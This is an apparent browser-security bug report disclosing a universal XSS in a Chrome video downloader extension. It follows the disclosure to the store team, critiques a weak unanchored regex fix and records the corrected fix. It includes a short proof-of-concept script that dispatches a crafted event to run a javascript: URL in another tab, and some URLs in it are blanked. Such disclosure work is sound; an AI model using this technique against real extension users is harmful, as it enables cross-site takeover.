New issue
Advanced search Search tips

Issue 1555 link

Starred by 2 users

Issue metadata

Status: Fixed
Closed: Apr 2018

Sign in to add a comment

Video Downloader Extension: Universal XSS

Project Member Reported by, Mar 28 2018

Issue description

Browsing through the list of most popular Chrome extensions, I noticed this extension with 4M users:

It has a pretty obvious universal XSS (i.e. it effectively lets any site take over any other site).

Any website can do this:

// Change the active tab"");

// Run code in the new tab
setTimeout('document.dispatchEvent(new CustomEvent("link64_msgAddLinks", {detail: {type: "__L64_NAVIGATE_CHROME_URL", url: "javascript:alert(document.title);window.close()"}}))', 1000);

That will run arbitrary code on

I reported this bug to the cws team.

This bug is subject to a 90 day disclosure deadline. After 90 days elapse
or a patch has been made broadly available, the bug report will become
visible to the public.

Project Member

Comment 1 by, Mar 29 2018

The cws has disabled new installs and notified the developer.

I noticed this doesn't work on Firefox, it turns out they block navigations to javascript URLs.

I think we should do that too, so I filed a chrome bug.
Project Member

Comment 2 by, Mar 29 2018

There was a clone of the extension with another 1 million users here:

I notified the CWS team (grrrr).
Project Member

Comment 3 by, Apr 4 2018

The author uploaded a new version, but the fix is not good enough. The fix was to only allow the events on websites that match a complicated RegEx.

    if (!document.location.href.match(new RegExp("(https?://)?(www\\.)?(yotu\\.be/|youtube\\.com/)?((.+/)?(watch(\\?v=|.+&v=))?(v=)?)([\\w_-]{11})(&.+)?"))) {

1. The regex is not anchored, and too many components are optional, so any website can use it.

Example: matches the RegEx.

> "".match(new RegExp("(https?://)?(www\\.)?(yotu\\.be/|youtube\\.com/)?((.+/)?(watch(\\?v=|.+&v=))?(v=)?)([\\w_-]{11})(&.+)?"))
(11) ["watch?v=AAAAAAAAAAA", ...]

2. Even if it was anchored and less components were optional, it allows http, so all users with this extension basically have no ssl.

I suggested the author verifies document.location.protocol is https, and then checks document.location.hostname.endsWith(""), avoiding RegEx if possible.

For example:

if (document.location.protocol != "https:" || !document.location.hostname.endsWith(""))
    return; // Not Allowed

Project Member

Comment 4 by, Apr 5 2018

Labels: -Restrict-View-Commit
Status: Fixed (was: New)
The author pushed a version with a good quality fix, and the cws team have reinstated the extension. Fixed in < 7days!

Sign in to add a comment